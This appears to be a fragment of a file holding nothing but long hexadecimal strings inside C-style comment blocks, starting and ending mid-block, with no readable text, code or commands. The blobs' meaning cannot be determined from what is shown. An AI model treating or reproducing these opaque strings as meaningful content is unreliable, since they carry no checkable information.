9e2691eb1ad1a9f37e77932e9cb3389cc0fd78e66a0c3414b146f1e5cc73d6c292125a5e5804bf1ff1388a207fb05c40d2f71ae448198893a01c4104bc1d7d55898b880fe0bdc172d090ccf03657dfd4c7f7b8d7207eac790430e8322fb3e3ea6c5803fb30441e05daf68fc4d2e0408f9abb3f875daea9baf63ed685658b0633020f45dcc5f7d6bae9b6c7bf33d474fa82aacc60a421801c089f4bef0372734a96ada1712b1bd1798456879c346e841f21adcde79b7bc58e437bc685ddae16adb17b537e775cd8a1d2b9ab5096a22f7e9fc1faf10868938503e763e3c28b24cba4bdfedb2edfb3975881ffb1be4294ae5dc3ff4c066c86c0755ea1c51b77633eac9fd487b2e5aba6d8f2c7ddc97b9f58438e1424e172c811dddbc4cdb9ed6c9c78d19489bfcdad9ce9717e3d5e72878d263d09798383b27de8148e11f498f8b3c9d83814c136b6b686228b7f10216831844f991f085299185bf79922664afc6c810e4928f4c3f6e39c22b8f73ec85b98301ce0dac142ea339e560bb7d85077c4f756c8b957f3bce107d2b8bbb183811eba865a7df05dc43591a2ec76de26850a2fdc741c85c030d9fa71bbadd115d418fd178cb1a77324299838ed47aa71fcdfe9ca80e366f55b99f0b22082d438cb348f119655768f5f2c3c5836f10d91f4d982a2385208b87c990e1b4d59f23a64f6ceb38b5bfc00a61e2d358062792ac6f48622155248eff10a40738aad5d5f7058a0f9a3c4e848a463906e1efcd1343f190c92be58cd94052e86f99d9691e21d71527de75542287bc081cca5686f6a540cb684228746d84fae430862ac9bb825ca2381307a559fc04c39ca06ee018ffca242f8e347db75209fce095e2645c247498bb2f2840e1005dbf8eebfc4e6df4372530b347fe0ab372475d6cbd57d835180186212ef527b46ba9ec8b5a0cab7cd6a6877b9961bef8f6ed62d14b202c13e0a17eeaf2035d45187c60354455cd9ec1e29531acae21633f3cf4ef95a58bee072c067e99a0ec4e2f92fa564327511b47d00e70029ff1013090228a8a55a539aa534c729ee93f6da09ed23eb647e6ad5aa8b63677019791a71a89b7bdec97ff3aff702c39a2e368400534731c7c53015833d6bef964c317430270d0459a2dde1e75cfce3b7d6c1b9f046e2252a7853a6d379d5cab77557685150939378243b75698d747b08771e50a2c03016fe53de0d339f520342bcab7d7b4a451ecab659f3a85927311943f97396b46646808b9a35c7c5228ae22f5a292ff566d51f4ff65d10b9095eb43403caca40138d508e3e86f19f667a6e78ee13146ea6917ae5aa676f1204c2810efdd5de64336577442364c1b7f0df639fa8f8100682e08330ebd82dbde31b42e06c21950c29b7b51bbdbc6b806014913b42c1578a6f6f18dd6acd12d96f143adee6bea7f6ff94cde477ffc876a11c348*/
/*4d49c3b29a092948b642a87318a6a4fc848093d0c4df94d37acd85297a63bb825292cf11983f2f0b3c3a07782225faffd16987c462e7837d17a0e65e908603278465a26f721377a7fbaecc3de68e52aa01ddacd8ab1b184827ebe568947dfcfa44276099e01b224eab05cf4b7a06b65c1e7489818bbd9929477e5eb1658786dc45f2b77a6cbb273f123a00a012999bb198fb0e81c8ce3318b3f230d2e7f3ffd881be1d27c392f307a390cfb41a094fed0174be8b8b28df8c7ab7f715f9dc8e30d9b55a17de6a7ae7480fe1eca14495acf991994ed70338fbfc4592c9bdde07a33d430dbecc26f4123e1f7787a949135a61bc190c3eaff270506574151ba8277310a8003b1dd7d81aea57682a0cbbbdb40198d9ed207f31666a97772a3c9cdf43da7429b297f131d9f2e8ba5779c28e2c1bd57a469c922b7a9541c339c9a264eef2f9566feb52bf4f1a3458cc3d9f7e415d2d9d782fb09cf150e042bc88e669ef9be1986fbcdddb8235084d72e8067a1801da71495716fc65b64ace1accea6f242e6ea1c583da573b733c420c5c69dfeb6deee36f7cd2d27068c3e0172f04e7e50a7e72674a52cc01d60eff17fc183f86eb292591a1f07b7a69150a424d7d62075a9cc3cf36679d796c83d2b4b7f3325121f1d8b67eaf02c4899bd510a83d224f1eade970e4b2f6fcd75ab2dc9da9b532da33773a78a05e087848e97daea44103c5caa5f4bea7b6c478c65aeeda918d9a51f48efaecd1bdb46771834945b3f36eb2440a7afbb713d5dbebc45d9ae1d437a4e1005b44c3f7775385db3d2fcf6d0d475799d2e7b0fd7010fbdb24fe6148aa81fac92dc27f0a2a5f17b6bebeedeca8289e38198952ad6d01f998420d9f73bcf4824593de6ba21677fe1f7b123157d255af0cf56186ab0b2d8a99025969f07a9cb2192863db7c9b844397602260d257d535e64d76f51299b07a702cd76cf0a27d0e76c33f226e5229ce271c258f434510cbcecb8fb2366496968308984656bb4d3adc5795976a60addb0be337e6e4af0e1a754d74d044530e7445d24ba7324e324f27ef3964a6bb8892bda2a59d18750de64eff28c70ad4dffe87cec15f9c64820814e77b490e6d5d69516263c72d76455b12e36f9950aa7653c4638085c5bdd1f41de3b962f818a163d4dab51d5d860d350e72396dc0584b39b1596f5edf024f373229f8ed10494db614ede41af36e4588386c4b15eba0bb6f8935ad58e37ef74749bf5321b42297b5ace07a534cdd87419eec832f44eaf08c47a0d88d2a70de5f3c5204bc3f40ba1dc9525f3b88936acc15d34af2a3d36e52b62975e4c82194ce808bf19c5281271181140567f048e396e27bd7b45d2ed3b33c20c945332926aa3c51059a36bd9cf6b61be2b4ec89f3249c1fe457b9c11d8a9ea9d093f13f137a8b1b980c54980e75a56e6168ecdb22d6d327aca9a1491f18e77ad3e3744c82f8590261987185c95ad4686a62cc547110944e6207db2754fab407e3dce1c3e3f50d0c37618657a1b85e34760b4bfd5f8bdf70c3816005c07a9d3a0a5ba8ebc8eb5ade2d499289c75a5661d27f19f9e7ad6e105ef1b19318eaf0abd98b26538820e389e8d92882ff76417f52cf5707271308d958dcb1bbb8f97a73dd8184ab899796311ed61694cc3f9ef60adb8f696efed5a489de250c1848be6099b1b6676822a54f5117d86b73794c742b547acd2fc79815c6e595f0534da3efdeb30a19bcaefc137ea309ffa62189d84d4316f9bb62458580a8d8adcb37a916a789140b280e752d101447c2d910e774714aef9a286e1cc0bd8f1a3b1405ace5e03ebc12943e641191252ee892547495b390375dba3e7570c8364ea130b70acacfa9e93c898e376fe5e08bbe0fc581539cb6c1ab3b741ffbedf8f52ab9cb58f64f4427f0a4d167f3612d8ffd8ad528aa8b46a2feb0f85a57ebf596b36afaa8f75021745c84945f1cc7abe88ca0deed76f3343d0b83f6e12e0d3432e29cc3d3943c726a690207a2347018d3ea93abfd2ff65ec0f030180bf366f11c248afb1995e361835b8ce3b378ff9b7174c6400250dc5a16c9ca6a6d75cdb6561f1d8de2dfbbf3c77533f16453f6ade5c659dfd2356a8f029742b4021fd0e51824537450d4bfd423c3ae28d1b9137e647d64522668f8b086ad52095fe936e22ca6437d526d99de0e198e83781520eeee0b5eac40586841745f25b150f2aa7b09df63e7ff1c397970cc6dcbfb349ed25e36db0f86aaa9857baabe23777dc0539035ce32693e5deb711ab1e5b96a8e0872f839f735a0b4f767fff3f8644edc5574e5d80a594b6a10af177a9a3f2b0fe14c181a2468c75a51b6cfa1896dbafaab1a7aecccf3839fdec8b677c141d21c80045d3bc735a88077f7c5e56a282ae4dd6376ba20ebb9751a99618904d43e2216b629f0a5a358e2b724cbb48df2207e1c7fe8d5c1abbc4795038cf88b1fe57f61f88c63461203f0e52c8449672b671ab45a6e4ea7cbcb0b106debedd764d49d3266e2f6b4929e73682dca47fbb9aa14adc59ecd438ac55600ae3b0dc5283ee17fc513c11abc0f3d4e3461f029c5e4231bcf072f3330280236f90f5aa67ed5cdfa456e04a92c8ff8f2038a1deffe4208dbd27cea4a574f925dd24df1b9e9c2bdfdf5c585fdc0d952ae24efb92e938f8bd57def1191d4746b4119db342fc203c7a0e4ba940fd08697b2f5a54ca84245dc4dc1685d8a8edeb355039eb6bc63f3c686da7dc87ad49ce8bc6c95925245c909c5b83f273b026b3e9900fe0db3a7e741d64e36b7f6112d2c4a006e545461174711480dc54cae7dd890d984*/
/*be6dd2a06ee6582dbe66338ad5d2fc88e6138e73c218c3fa73681eef34a31b01d0b118c13b73074152d28f363dcb4f3f396c1c4979d4c4d49da2899d619bfecb11effd1a3bd352d4ab425ab1cc6c762b9a7221bfeeb0acdbf8c5e50214f248d5aa22a8573c86ae60469b4fb3e3ff0f87bd6527d038f197a93c827b8203a671cf5ee2314e7eb3f413e3384a0db6476fbac56c29b363dc36702c65c2435ab3b98ac195771485d33faa69c5aadb16e44eaa98b5d31ccc69b050e0a56410b5bef7896cf91cebdcf8b9b08dbc221f1327ac0cdbb37f7bdaa41428ff51205a58ad4bf8de3964e94f34a1d4ad51f6e92c5bd69ae01631736ae14c8ca103c9f8b30ef2e709aff355413c639b79466b59ff12ec0b0495bf671b5fce3e1384583fdf84b96177d5878291404cded239263380968f7f1e9f52ef8ee2aa59aff33203522dc3d67262f577c0f7a1a6a673e513f7cff66c0f93efbf0f6f5164099d194fefc863156fbd471234ce6a6da695829229e93490a10b259f1eade21c3fec0cf224f17959fc1d6133354b4e44457f26aebca4d73c693857a120a52c75834eef6eaede7e8f1c95ae9216f936c36aebfa78edc8d6e4c38a815ec5b063abe96743f6f399c80bce6a6f59cdda1c3fe9502a98d23dcf1cce262d306b797d6e1d9e0471a50acf5c681797cdbcbc74397c4211664aa637cc7a0e9a2cac687626a85b69b4f44b29a06a9a0a3958b298e4862a50975883cf84a8a72870ccda3a26cbd316cff0655e69232111a354e96f40eada0dbdfde7cb8ff6415ea94b9e4819074d718337ea12054c21d09c49b578a367b2c1255c9a55a777be14c32f2f44da689370350fecdd16df1bbeb2ece6fd25d83471ebc410f27f70222f8e7f31900ca66e8fb55a8c7831f1fed9e79add02188f8ba2ea06a4bbee4d0bcf436d7c6ecb68ee75bc3ce9347f00168ca9c34094e6576865695da009de5c6fd9e6350a3b01335e3f95fc241b8e173800536e627987ccbb04a27454c01293c6f8f29ba8e77677b447dbe37705e1a6c7968a48386873b3a4e3a8632e4cab9edb37372836918d3ea3967edc82046ad50f1ace4566e15ea52a8a0ef68477ec06ac763cb2423c1bffff15fd6c1fdba587d24cce75abce1eedd32dfd60942d3181c11fce39fd240894bb9f4ff52dad342fb45b6cb35556f30bcfdd00e817893c4a17c1242fe7ad76831b1fa5b725feb6fcad2c90c1339654479b7fc2aacd22773fcb4b32567ff2808c2b3e35c65e46e2b3caffc528682fbfcff7035cb0eab86ae298853793ff32d4003a3467ec36d50e5bafc5b8f93c02e1a8521a3c2add098cf2afc29c5677d783e74afa1382820d8928941a04ce27a72a245f10bd8aea718f0160770c02336ae47407378e3100af902a22c38c047b0bfb8b420901546545a91ad64570b887382dc04bd38f9cd03c68303b1bd03e4f791b47714c54970fdea7f7ff936d1b61645c787ba0889f45bf31807c816a169b319d07f9891fe6c7bc8387561796d60e075d249fe46fa9194e753ab175c5e5d26a6d2b8cb49080baf35f44558497062cf9954be0c31c45055fedc9aad46e1cfea0d7f2207cd08be15dcb0368a68d5762a219713dc00f2d940d88a2acb2c101e9b0329c0036469eab5980891c38979ef650182bafa17bf4cbd39c2269e778f010c35fb1c4ffe83bb5aa64967251a754014f14c9793b6d077f3c77068ac03114a6f3bab71ee20ff3193e8b307b485ff52b372b40ff01cc2db7ba76d949369861d332bed3a0dda02e323432dc54e1a94da0f002740c61d17a9c61295d0cf306d74466c4d4d5c007cc441a8358f20db19781e4752d4c917f8719e4050db3f3397f32bf828fa591527cc2fb81c3a39e1d72c4f41bbc5f8aabe2de7437aa7d8745a93bf2f403887af59dd2430bb15adfdb52a26dcaf2d2c5e58b8d5e08292a3e6374fb7f8e2dc4814e11a02a836ad9e1aa4a87b08af49085acdd6088e8bb1225e8b067e2951f005a1516a3b4ea78de88c263299471892ecd0d6f03bd7c0a48fada0ce49591f114b1c9a8d1aeb5e20b79bfa6e944a9e7de3c52fb35c63a72d99bc08734663d03832c5a5140351b81859c2d3aa366b103e835be5a5b52b18048fa98ad675e48e5925e7e5f0f676e66e5dcf92d60cb11efca64ef13bb2c31567c9b67c689b66081d491702716c1386fd836193dd19ab90b3b937a36c3e0b3d6bac009368e423c0a5a60fcf46082bb61900708e7106699ff76d435dcd9345c17373ffa8c3620a2fa59b9c0b7d43dad418aa2dd72bcb03a85ee715a4716d941d38aedbd1bd2ca6b713b24aaf805978db6be8fa52535a084e68101f93505a9714fe0ab8fce103095deef5f693bcc51dd2f38c705f4603672fe0b9a0c32355748285dee324160865e3da4e9d4de5d1b15aeede987987f3e766fecb9408b81451b8e56e04d57158a22fbcb263d72ad2dc4b11ec0af15f639023a1cf2611e9c8f78958415563f6ba72c3381cb0e87e24c3b75ff8283a49520f0ba91d6bba13e23b5a52bbe47f9b4d2b6b2e132832c4005ba91d4d0b20bb920e3a5b71ea5b65d792b3ac25d7d6fe6825e902903e855afd673cdddff549cce2c831f065ac3edb70946c062c356e87681060585369888893602837dd5b45597cc6e5da09841ec395b0cece4b4ed1db0ea1e57935267bd9d727947502f0a45e3122fe4b791de34d7430948165f9c5a57199a379e0c6baeeb8f80c606679ac19dc7da923cbde6a9a747c47617c137575f481a015315c8016206b8c15d76269b59b32dff4145324de3f94c419ebe629c7e205fbe2daf1b901048ba*/
/*41f19b640e7770c9cbe9c10701ff63ba4fe71aa1c0e5a2fb0fa3690582cef0b82bac740575024abb4caef7b73f656b472a23f4aeb33706774bc572f54d920e7db6475505f19516323d1b1c466b4d03407a8f919cbbe2e8b28e7cf9b985f44eb29bf835c842cdf6a1fd9473038eda83134fad9d4a26b57a9dec9681a1d5f0c5d786fab79f61d537f4460107ae25e9969f222d5b39c9a59448a144400c50fcd525fd57bdc3e3d38cefddfd584355b304bc0fa4c031a2331ff61eb0df8a1812ad1785afc1f6f9a214d52b7cbee7b94597741b59a60149ca94fdfcd8472e0ebe5d1d8cfd22c0ee246712431f20faabe4d06ff1d26902b340ae4f3a5b738ab9d1cef1a2a899bf1e330b470569b236a66cf16f688630f02b1fee0cc92cd26294ec25b27bc78286cfaddbaf2bbffe081d782b53f3c0960e24f57f759c4cfab989351690fe5fd88ae976b29ae92da685d44fd59b1a664460accbf19ddb03566eff8a06e65aab9ea8237b5a1a260a0f323abb2b0dee78905686aa42f2f410bd006b5229361cfb0b6b74a04d121d80b4894a8a9c7c42934a3a665a210ce0dc7686020a4a6e068b3e6507c758650daedc8aa52c5fa64bdda29a3bc2d0789d3f1bb2f6079f8d8a5dfe95c00c53b06116b977a600d7d4d345bc0c367b8cb58cab0e3bbfbe93aa38e32c9fe639c7c11eb27e646d53713912f2e1c5901e5d57c689eee816c6728325e084e25fbdfb4f1fa2975937de927ea9d9592706e35c69bbbc0b5cc5895dd092e26641e5e5985011bb97d61b3b2b4d4870520eaef17d96c7279bb77aee760e255f92e6dc7d7f2441561ead6999bec1d98862554c2dd76e53440247d1b2dc990a6314f361c0137ecc1f4e6b89115d58f56d188f63e1043c11753294a90d28744292df2c440144771a153f152598089fa0eca37f539c005fa1f3908b9ead858d25cf23f367ef5a0e248939ad86a9aa80b219f6945ab34f7c0cee1a47c964a9e981237460639890cb0c4299161d7405d59d7a01e13bf8434548e23fc6eed613d3be36b7b48c3b02543430992393a1761ebc662bbbd03ed1e594b0312719c8637b12dbdaf73eeb99a2334302b910bd52708bad03c749bd26fff465520e28fb0a374ae02c82a77585aa637823dab097746c50e7ff309c353ee61c8d1c9c993afae3066c138b5efe18aa8d7121e08bb24e3668f4e47b68bef6454fa3271726f105c66f16f6bf1be8b11c85e738c6572c0ef794a9a17798c82b65f45fde207c57426931cea8a102c9be6af882ab4533b22b9a06113724c0f8f70bee4c7285f3ff8edbb9844118acd9521947f5f844af3f3ef7136a5a0bf74e5177da099a759dafcfc2ad3325be22b458842e3eea2c8a76f1747a6ae5bb4b97f785b2167631b76303ce98e61e0175e8b9cf8741fb58b2265128f0b63a3f6356d27e548bcd13425af1e8f5742e5512b85018dd2894bdc7bc1525b5f933f69ce6e932564d2b11cce8cd3b770424a8b41bb90648e67697b5785657b16a0a8ce8b0e6d9fd1710160c0622a6620547341452c089a4471f4f9ee1d32e6232d956dbbc8938299811a879dcbe5f52cc2fdf703335f30b13e1618d4e78ee73c8b43d851d89abb6936c4e25706197857044115027c4d8c6b625c9091557edde33f50de4511781d36da4b7d2db601a90c59534ec90120e953b078adc59dec5344709a3a367b120f7f3ce06bc2e2a7b820700b8fa60b318319c465c19f8c829c2b1688ed3271f0aa199f4a531291ca8b64b612b241da9413f07ff62a6609f99e5ccdadcd58d07b18de3d9a81fbd75c337e05867455f9ffc1eb96e0770e22bbc6b252074f6d8bce2aadb50759c6183a01c3453730681f0671dc58a83058fd30618ea12d1e082b34f644c7a98f5192ddf42871dacb01204324c312fb9192a8ce5e8c5008858fa199006e66e53fbdee620ae95e73fa4cb156bff912ae73f3fa87ba17f97f620f9fa7e62a8230264f0fe2c6f7e5366c4a3a6ff72bf954f66e5f76c4719fbde3854495d76b1864cef5717f19d075be1c926feab563def44b496f1efae5723bf1539a24f2ef5a665dd5956270b2e78c6072b2affc606377ae94a81c7f37548541a72fb8b9b1ac655fe60c810d126079033cbbb5872797738ada4af60eafb946f1e020017205735b1d9eb1136aec41ce7ceecb32426ac15daacde6a8271064705c98a6a038fd2a5870d3117e1d90133e11e5d76c885ea20d3e1773abc780064e0aa86d41288636641d52460cfa2a8fc506b4ff3fb37bf7a2dd453195640679f600ece1cd314e46632582be72ab9f7640a82709099be302030a768ce9944f8566136a42e5be56367a1c77a61ec0b5fbeccd618aba519bca163f134e6ee7c9a4b643c5bf1c171980722536f72b77416310b263be5eaaa36d19fb5ad6b36d5f3b5642eaa8d2944d36fe5e279fa3da63c82074377ef5a61c0034533111fc848b27a4e2bb22abf75c6e3191a6386bece7dba9d63bd20b1fa8cdcd701e958e01cf338d261750beb900155bca0781ea1b2e596c23f2284101674e64af1d51f2a4e9d95dfbf585708af1daf550210435eaaa419dd8d6d36823b6e05d07a06c48e948a7ec277c674a4476e66e135c87a0d11f75f55cd985d7255c4c0fc3e033d8a3028b6469155f8f696b038d1315dd8e49ff133028449486cadad503ab40ca42ff9883d52a9130fa096f37eee7d2118ff52ed05f2d6c61850330009b83f57895b5642be7602398da5ac27850a7b086d2bcff7032937516cdb0a13205c6babfe9d372d7688c32ec6d20fbef123c76c9e1a258de19c59eb02ec1f23b062a2f3b1a5*/
/*598952d0789f721913124ecb91ceeda986ed7269925acd749e24c1a9755a86aedbb22a851127c7bfe7b6aef8124b6181a90d4aba82a296709237d431724aded35a5e841fffca33809a8d892580890578fdc2d8464fbe9fcbef962279efaf54be8426aa3cb363452dc284aa5b03fcb26961bdf917a0d6333bfb940f84b20650431b625754eaa92af51c0d66957bf32afa90a2f332b4211554ca2cbf0b8486878006d2e0208a2fc53689d1eebed08f6e927f2038d7dd0410300dc2c238b8de0dea0125e88abd7968432b4dd3cee7ce7dd02a6e26d664a9e7717e7831b72bd58b6d2aecb333fbe542187481f0f38a68a375859a277a56416d5a20aefe4620856d3a132a88d75d28ba86986d4f52fc663e510a12c424d9be714851ae41ae4740a2e458ca3f081ee3c398457ed89c94b29c67594e3b66a1597ecc7b6db28439187d4ee758deaebf2783fd4ac911b03e302811e2113ff7ba248dd60fcfbf6481b35014aa0c6f1d316bdae152b1c89caf2fd5f4be072c08f687538ce7179d4723eff32c436cc99454aa1fc23a8b0b8e2225e6dd9329aa26f49c1d21070112086acffb64733ae3283a4fc1cb5f24679c8b26282778ebb43983197c02341919237389d228fdb52dc49fd3f05db6c7a74e8b73983424fc733ff157eaa732efff563f348bc2306cd01d932bef0982d9f825ab3d450e912f0bcd7f3a7d5c692770ff2db973eefa8b36854c51fcae851bc0a9f814ee0fdd9c2eb410ecf769726d8f461fd3767641f2b08ba08e038393ccaa4216a78a3c31acee04c461dcf0568bc910fc1ff409197d5a0499a153e6d0123684ea042fa2230505c1dced0d05ef1691281f06cdd63803ef65e7de13761ff9fc241ebfe10a7bc796c0995221508c841b1c6d1c010b4ff167b5b883e720b53b8d0bcd5e0eb2c4eccde8cca10ab66fe004e6df67797beb80c1e56c39c13d36ec3da1f2beb87fb74ba9f183e3840ab6f5e7c89c8c8b99b64a0a052af4ced8e7bb395c4f72915469cd4ad906253eb51dab6f97c4f8b0d434d60f6e11a66d6a62108b5d7d787d306abd956c8c4d60f1024cdcfa6dc116767e110822e05bd4968aea556b942544ee28e5865e0ecdadd04ce4621ce7dfa92d8ec982d08232e33885ce47baf328d1e0216da639ad41fd7952f931d911169d753c9db1a47bd7eb94daa6450981ed75bf7ff0d3b1a31b6e48756cb97e77f56b7104344e581f2534e19eff5d7a40cf4dbc1811a5f82ce3d4763f936d08865c225f121c4d5c0abf9bddd2d110e8b224be968c53225789fbd527e7ea0c7ff4c76fea6aaad868d0330f2d0f9362b973ee959e37416836cb74373dd8ee78a54c4c18ccdd8bb5d244e2dd78a930969ee3fcfa225b82bb122cbba621338aee5f3aa239eaf371b8e8e8fb2258e0a2fb6434a40788ba07909cc617c2b468a94c494d7a7d383b45afb622748107d5667255f056b24b4723798c18d5b4a9806d29174848091ce9e86f9b7b28428cfadb313763c3d069f0331def6be729b56cf66c2bf757f8a83a1801c08a2c7e73a97584885d1268fc5f6e4d94fa025ce2663a8465884f531523f189e335da91404ca2953829bfa960966a7f4e9856c7652cff382d1c448990d81d275498bd9f04b6e5670ce655589cafa0a6b72cab25a7fa9c7f40d3163a7ee02722543622a7338cd8c803c2bb4c5eb8e50f92ea58eabe44d6ef1c60c5ae561a66fa01928e64dbdd60cdf27bb1d4cc21446c8f5b384118afe19170a10c9cad4ce86710c52d81791bac82a1fde564d4565202923802f95c5fc9d4d0ea816cedb7694d199fce89d939890fe9d7ad8b07077b6c91cf85c036908249769f58fc82ecd5b8010eb486671cd860d98a6243bc99cba71a1329a44cf66c407cc7d1a99840ed692c59020522b727d97c120bf43e80905a05c86a4120baeabe34d8b73cd3a590cdf7b01d2bcf75488d693c2ecec8e6a20c11f610fcf83a96706b4b82a052c3ee47fa8f631b7065c4a8c0d90c439ac203dfb9f864aa3c443b4d1e8cf570e351b1886e9995a754a7fa656ae8e9c05d9db64b3a894c6e7e48ff13a03d87f8e64d257b4ad9be3c050aa70ceba9ae3e843c345e4cf917621847bd6e1cea993e456ff5479f1b1110c685a21efbeeb5a2f32af6b5b994a10f35a719cb31116b3940c3eb362f27a9ecd56c98ced319b489d42c1274a1f23c346a4d9128ba1942b1793d0741c57d021fb3134438d76e7aedb34141ce1272148e278dfb50e9f2930a1120b39f3816cad19eef5d636f4abfbd1f89d5a2510f6199d43c0e15d67e6091fd5d31759b33321d7fab72021c3a5971f00aab83efc812fdb2124584d234cde66dd719f74616d0c7fb2335252fd6c3ed980dcae2b7b9c055ffa4a871a9c43c6c593c1c7d500efd17ebacb8750165707dee2aa026a1d82cfe0d8cf9ade73260db2ce57b8a5618ae37b5285138dac473a4eb78f8461498bb9a2888b05b18859ed9ecc5b2b9601bccef00ea8833a3094e2f83b4352229f66650c4bbc50921abc78c6023b390dc15ae0016cefe7a7f2fa16a4fbb925c09b85ea6845ee8632497980a7add2ab518a0846595ac34807b96a53094f545af97ca2ee40b0fea205219d6d6e00a8557575ebf9ba462cc7ca278905a364567832c60309c4d9972a3179ca8721f67363d14613dc15f899879ac5935a40fae8ad5d5dc12ce85d511524e7006efb9720d22e480fd44cd86c8ae70bb9ec7c0990763bf7bfa2721df0a883b20a603d71870733493291dcce787c3af65751259206772e708df546a3eb015216b0f556a0e4b4704703822e14a08e5b0d5877846*/
/*7163b8a503c740aea5077d55020e966fdb82d50368935209fea5844efabb6c24336aa8b2be77aca847184bd887b59002203ceb29dc5217d70395a69dfb0896abe089014ca53d51839df7f4793965cbef9bc51be083881c7b72c6570e689e78f4d2181c6e4d35b4a426fbda430a4ac5419db912d877fa03e0a8a988be49ff9bcebe010a4d4dacc40f579cd6da5a69fce9ebc8cf93f445f11ae90eacc5b80a51ce18312d1c175b30f0538496d80e26bbaa60e8b4700e5329022c310dfc8c4bce9d9209cfa3e2e5ecaec9b9c49197d1678b6195599f07cfd3f565a4f4fc2d4518b797451b4438b1766c20c5b7c75ef99625d0c7966dab39d566aa74fd3cf46d69e3ef10d4158450a19fcb4e7573d7b4856b1e238955e29eda781708816501be8c5d3e72e7b0243361ff88588477ce983b15d9cc344ce089d5f71a05fd5d70f1836cc205e4ef41dee0570f1e656cf8a1a87f6378fe1e95c6122af8d59c8c874d5fcc12ee64e07f890a5b23b99de988224589359e244ee9ae5e89e509e92d64a97c746a0df9b84b84a3e9bfde0cb06460a4b59fbb04cb67c58f265af1b6c59f753d021fc076bc1d3b9bef6ccf07c9afc5905f8e1c3d47c13c32cc3e6b8c75ff2a9ca5e24670eb35a9fbae247dd302e062ec9b5aa834fd9ae51aec1d4150fc3056f669a4002720fa48d7b28f3d262fbc6e920cbfaf979fd80fc664c31a19664248c40c257610c72eede3b4e9f533a10b839072bddf1bb6916388bb0557206611144eb980f072238a0865175d0166650bfc02db5e71044c7bca812ae26d8cde0064b16d413b026efec100af59d47351f6594c197795a52c95e4fd60364f87f454c8f6d1cc0887d072e0af0e9afaddbd8ad4ea3787ffd0b49fee0ad604d9f2c13bd6af1d433242e06672be56777faab0b6a161c80cc4e55ccf2e6c987ec7bd1fbeefd1b316ef80ebd14e3ba6bcb63f6d134667faad0fb1f0aebd61818615f667548764533883e52b4eefc4d1b461ef292bdaf70834bd3f57f57b63bbf02060805342a3c85b122bed94b7f612f9a1fde7b65ee004fa1c6cc385a0edd48c501923f21733dee96b50e254e1a331883dad2a96213fc16163d622f4c6422aad25ee14a2621158d66a6e36c089d66bdc37916dc61f5d32090e17f64d437a075ce308dc2230252267f7d8b2544c9cb0a81cc47fc116154de0c163f3f3eef1998d7e514564d7c539911e3ef534e9c389d111f7ad639d49e52948b577d47ab02d6fd13b1f53fb98bb64006d8b788fd185926e5985dda72cf7d3fa1e10af64feff9cfd681a59a3c220c08c1c2fee3d12b23043112126bb6d8e9445c5573c32be6731f571b7e641db1dbbf83071d722b8f0459078bca39473c16245ffb68226f1cf205aeb28bc4762aa3710a927656d55b73e584592de5d7c64fdc43f9392f2fc4d4e480627e9c2f7056b2dea18c94d19831ff57ae4d78b876ddf5f6b21b6cb59050532368216c7d87aa05697683a158ec748f09147bffe986587769325813e38aa5d354e6e5dfcb01771a85a0561bc07b5324027378f6370676fc329942f9b250eb24f28614b6ffc99a8f58e8ba56175fb66cf46aad8e6babbfb3921cb50982f86f68a1bec5ee54ef426f75aa16a60a5ceac0d96a1f9e3f4741bcc2c41e604a4cb14351a2b75dfec962073e859aed16ea08cbab3010eccddde1853525b3aee9b9470492b5e9637a59789852c111a65ee28dc4949552652fdebacb2f596a8f62ebfe17db00341cb97ed7197f3fda6cef3ade7e4c59a1ee588e378a8dd22be89d892418700846d3c8bb77a0b3fcad93b2b98d48fb28d90a9dc1e95ec4f6fb439135c4de153c32707f0dfb5463df4ef54c9a3fad24ea9902af4eaa6b19173256fddfe373a5f624987a2cd470da974dc487980cb1708199de2b3ce975fd9d5aaa8a9cb4889136130411a252f3c6ccec6d494360a223d7aa4121881c8fd5574e9582d5c62564cc9147a69983a7b3259fc7bd1809ce37cb524ed1e98ff17560cea200ef845ddaa1b0474c9f71c0d747cc9056816b2930345106c09f77ea3df001375c5b1ee08eb558f5469b854e74da47e4da6e07e2db06e1709e7a8547c275f5672b012366d5e1ebe3d3305f2a2351e506bebf8b2134f0464533d3096c70b4f1a8b6319ef81763588698bbfafc6e7d2e02496833f222ba5e9673be03a270a65ea20eb8822f18db610026f41e8e9f16c1ab319ec5bc8d3fc744c42542f14fa8dbf4c40c13c70483ff6fa04b2d13855be12551e62064838bffaa43d7bea84411981aa623a3c7eb735c51701d1d16c78d47e99a24ba8227b4159bccbeb21ee1ea760f2672257c9feefef66a025a1bd632b07eefd02a162c2903ada5037b93522054b9a7bd8e90ef0dc6c031aa97a491920d3eeabb4a908af94d50a785ebc5dbe528f9e2b54d86674c13234a2419e98abb0b36e165821ece9a94ff1010c1028c40398a2ed376328f9eacde3ea83f3da2a0b3d6152c2bc77ebffc400481953788c3420be1b8a6a59d59808e07a177a7e43785424ad1a109f043402cf9e645f3bcfd10d0ffeeb20d33ba96edf8bdd65cab7bac550523dbccace99ce29bbf0c3e25a99856ec4a004e9389b9fdfa4f274ea82e2d9242f1e751d96a4265420934f20b36c3cfc7bfe5979b00d1543e3c2b7631d3ec3a041cd2cad756167c7067991ed3d027b532e0e63b52627fb6887fd3a033ae51f1fb956b3ed018b514a0bbfc47abf6e596db1f4865bd725c77ba985625e28444730ce1a005ded8bcc4a4ec2e459e1541929e9af337f66ada094ca92038fbd632fd01ebbb1c9d437326c20d2*/
/*89f817fcd72b9763124b630105a7bb76f3ba296a15a6d4b36842b1a6cf41142b1acb4bf3db17c726697c31c454f68cb784cc96c366922834fd95b2c3ec80972052c25611e1990317f28eedde2e8a54b3fe0a4b2c3e4ad4f41b597b825539bba31f293721788d4e092f0fc46ed6cd8c086cca5d7b4507e94c74df8ac20df88d6a8255f1fadd30681641420db732a628e1d1e6097b73b57b1ce30fbacdeec2224dc29582e553cfaca95033997f2a5957c57d56786d216f93cf74d9c3437758a4abb460a43b9dc8b1d73fca63445aca5633c412c00c19939e011e8ea9166899572572b94cf901f9ec5c373d192be458dca33b9fbb2328bbaa69f898f2d7ad6b5e8983de66c27eba8e2a4b8a1e7e5fedb3a7d19fec1585cd73cd0b5e070e9b8052989fd8a2b3990b72edb2c7fe161bebc718a20797824ee03d6c18d9a5fd59cf73d69814806d35ef11416b31d3246d78abb626c0f79f25d9c396b8821ebb49859df7bb2033e8d9de8e0e859032f58d07c9a3f7525c0832e4cf2c94d0eab82f371064ff398b8056817ec3a519d380b8942c6ba4d665e5d5b0745fa5dcbed3460b9f24e70fe4314ebdfb4252f63dba2b811922f2bed88619ecab1cc88c36d825b203036512408c4f2001ca0819f23d83183f00171b04cd34e9b68817d93238a35775f58e4cedebebdc0c976e4cce71dd8537f240001a5a5b1